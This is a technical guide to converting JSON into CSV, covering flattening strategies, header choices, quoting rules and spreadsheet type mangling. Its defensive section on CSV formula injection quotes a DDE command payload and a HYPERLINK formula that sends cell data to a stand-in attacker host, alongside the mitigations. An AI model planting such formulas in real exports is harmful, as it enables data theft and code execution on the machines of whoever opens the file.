Published
A table has two dimensions. JSON has arbitrarily many. Every JSON-to-CSV conversion is therefore a projection that throws information away, and the only real question is whether you chose which information deliberately. This guide covers the three flattening strategies, the quoting rules that decide whether your file survives, and the ways a spreadsheet will quietly rewrite your data after it opens the result.
Three flattening strategies for the same document
Indexed expansion gives each array element its own column. It is lossless and it is the only strategy that preserves element order unambiguously, but the column count is set by the longest array in the whole file, so one outlier record can add fifty columns that are empty everywhere else. Use it when arrays are short and bounded — a fixed set of scores, a pair of coordinates.
Joining collapses the array into one cell with a separator. It keeps the column count stable and the file readable, and it is the usual default for human-facing exports. The cost is that the cell is now a string that the reader has to re-split, and if any element already contains the separator the split is unrecoverable. Choose a separator that cannot appear in the data, and say which one you chose in the filename or a header row.
Exploding emits one row per array element, repeating the scalar columns. This is the normalised, database-friendly answer and the right one for analytics. Note the ambiguity it introduces: a record with an empty array either disappears entirely or produces one row with an empty value, and the two choices give different row counts. Pick the semantics you want explicitly rather than accepting whatever the tool defaults to.
Input
[
{ "id": 1, "user": { "name": "Ada", "email": "[email protected]" }, "tags": ["beta", "eu"] },
{ "id": 2, "user": { "name": "Lin" }, "tags": [] }
]
A. Indexed expansion — one column per array position
id,user.name,user.email,tags.0,tags.1
1,Ada,[email protected],beta,eu
2,Lin,,,
B. Joined — the array becomes one quoted cell
id,user.name,user.email,tags
1,Ada,[email protected],"beta,eu"
2,Lin,,
C. Exploded — one row per element, scalars repeated
id,user.name,user.email,tag
1,Ada,[email protected],beta
1,Ada,[email protected],eu
2,Lin,,
Row counts differ: A and B have 2 data rows, C has 3 — and C's
third row only exists if you decided an empty array still emits a row.The header problem
CSV has one header row, so the converter must decide on a single column set before it writes anything. With heterogeneous records there are only two honest options: scan the entire input and take the union of every key seen, or take the keys of the first record and drop the rest. Tools differ, and the difference is silent.
The union approach is correct but has a practical cost — it requires reading the whole document before emitting a single line, which rules out streaming for very large inputs. It also produces sparse tables: if one record in ten thousand has a `debug.trace` field, every other row gets an empty cell in that column. That is not wrong, but a reviewer seeing a column that is 99.99% empty will reasonably assume the export is broken.
The first-record approach streams happily and silently loses data. If record one lacks the `user.email` key and record two has it, the email column never exists. Whenever you convert a file you did not generate, check the column count against a manual scan of a few late records before trusting the output.
| Decision | Option | Good for | Cost |
|---|---|---|---|
| Nested objects | Dot paths (`user.name`) | Everything; the near-universal convention | A literal dot in a key becomes ambiguous |
| Arrays | Indexed columns (`tags.0`) | Short, bounded arrays | Column count set by the longest array in the file |
| Arrays | Join into one cell | Human review, spreadsheets | Unrecoverable if an element contains the separator |
| Arrays | Explode into rows | Databases, analytics, pivot tables | Scalar columns are duplicated; empty arrays are ambiguous |
| Header set | Union of all keys | Correctness | Requires a full pass; produces sparse columns |
| Header set | Keys of the first record | Streaming very large files | Silently drops later fields |
| Missing key | Empty cell | Almost always | Indistinguishable from an empty string or a `null` |
| `null` value | Empty cell, or a literal token | Depends on the consumer | CSV has no null; both choices lose information |
Quoting, delimiters and line endings
RFC 4180 is short and worth knowing by heart, because most broken CSV files break exactly one of its rules. A field is quoted with double quotes when it contains the delimiter, a double quote, or a line break. A double quote inside a quoted field is written twice. Leading and trailing spaces are part of the field and are preserved, which surprises people who trim by habit. Records end with CRLF in the strict reading, though virtually every parser accepts a bare LF.
The delimiter itself is the most common source of cross-locale breakage. In locales where the comma is the decimal separator — much of continental Europe — Excel writes and expects semicolon-delimited files, and a genuinely comma-delimited file opens as a single column. There is no in-band way for a file to declare its delimiter; Excel honours a leading `sep=;` line, but that line is not part of the CSV format and other parsers will read it as data. If you control both ends, tab-separated output sidesteps the whole argument.
| Field value | Written in the file | Why |
|---|---|---|
| `plain` | `plain` | No special character, no quoting needed |
| `Oslo, Norway` | "Oslo, Norway" | Contains the delimiter |
| `say "hi"` | "say ""hi""" | Quotes are doubled inside a quoted field |
| a value with a newline | a quoted field spanning two physical lines | The line break stays literal inside the quotes |
| ` padded ` | " padded " | Spaces are significant; quote to make that explicit |
| empty string | nothing between the delimiters | Indistinguishable from a missing value |
| `=1+1` | "=1+1" — still dangerous | Quoting is not a defence against formula injection |
CSV injection is a real vulnerability
If a CSV file will be opened in Excel, LibreOffice or Google Sheets, any cell whose text begins with `=`, `+`, `-`, `@`, a tab, or a carriage return may be interpreted as a formula rather than as text. That turns a plain data export into a code-execution vector, because spreadsheet formula languages reach outside the document — `HYPERLINK` can exfiltrate data to a URL, and legacy DDE syntax has been used to launch processes.
The path is mundane. A user types `=cmd|'/c calc'!A1` into a profile field, an admin exports the user list to CSV, the admin opens it, and the spreadsheet prompts to run it. Nothing about the export was unusual, and nothing about the JSON was malformed. Quoting the field does not help, because the application strips the quotes when it parses the cell and then examines the text.
The mitigations are all at write time. Prefix any field starting with one of the trigger characters with a single quote or a space, which forces text interpretation at the cost of altering the value. Or write a real spreadsheet file (XLSX) with explicit cell types instead of CSV, which removes the ambiguity entirely. Or, if the consumer is a program rather than a person, ship JSON Lines and skip the spreadsheet round trip.
Input JSON (the name field came from user input)
[{ "id": 7, "name": "=HYPERLINK("https://attacker.example/?d"&A2,"Click")" }]
Naive CSV — the quoting is correct and the file is still dangerous
id,name
7,"=HYPERLINK(""https://attacker.example/?d""&A2,""Click"")"
Neutralised by prefixing an apostrophe
id,name
7,"'=HYPERLINK(""https://attacker.example/?d""&A2,""Click"")"
Trigger characters to guard at the start of a field:
= + - @ TAB (0x09) CR (0x0D)What a spreadsheet does to your values after it opens the file
CSV carries no type information, so every consumer guesses, and spreadsheets guess aggressively. The damage happens on open, before anyone has edited anything, and it is written back if the file is saved.
Leading zeros are stripped, so a zero-padded product code or a German postal code becomes a shorter integer. Long numeric strings switch to scientific notation, so a 19-digit order ID is displayed and then saved as `1.23457E+18`, which is not recoverable. Values that resemble dates are converted to dates according to the machine's locale, which is why `03/04/2026` means different days in London and New York, and why a generation of geneticists had to rename genes because Excel turned `SEPT1` into a September date. Values beginning with `+` may be treated as formulas, which mangles international phone numbers.
You cannot fix this from the CSV side; there is nowhere in the format to say what type a column is. What you can do is choose a format that has types. XLSX stores types per cell. Parquet stores a schema. JSON Lines keeps numbers as numbers and strings as strings, one record per line, and streams as well as CSV does. If the recipient genuinely needs a spreadsheet, generate XLSX rather than asking them to import CSV carefully.
When a table is the wrong shape entirely
Some documents should not be flattened. Recursive structures — a comment tree, a file system, an org chart — have no fixed depth, so there is no column set that covers them. Flattening produces either an explosion of `children.0.children.0.children.0.text` columns or a cell containing embedded JSON, and both are worse than the original.
When you do keep the JSON, extract the parts you need rather than converting the whole document. A JSONPath expression that pulls one array of uniform objects out of a large response will usually give you something that tabulates cleanly, and it makes the projection you chose visible in the query instead of hidden in a converter's defaults.
What to remember
- Decide explicitly whether arrays should become indexed columns, a joined cell, or extra rows, because the three produce different row counts and suit different consumers.
- Confirm whether your converter builds the header from the union of all keys or only the first record, since the second option drops later fields without any warning.
- Escape the formula trigger characters `=`, `+`, `-`, `@`, tab and carriage return at the start of any user-supplied field; RFC 4180 quoting does not prevent spreadsheet formula injection.
- Never ship identifiers, zero-padded codes or long numbers through CSV to a spreadsheet — use XLSX, Parquet or JSON Lines, all of which carry types.
- If the document is recursive or its records are genuinely heterogeneous, keep it as JSON and extract only the uniform array you need; one table with hundreds of mostly empty columns is a failed projection, not an export.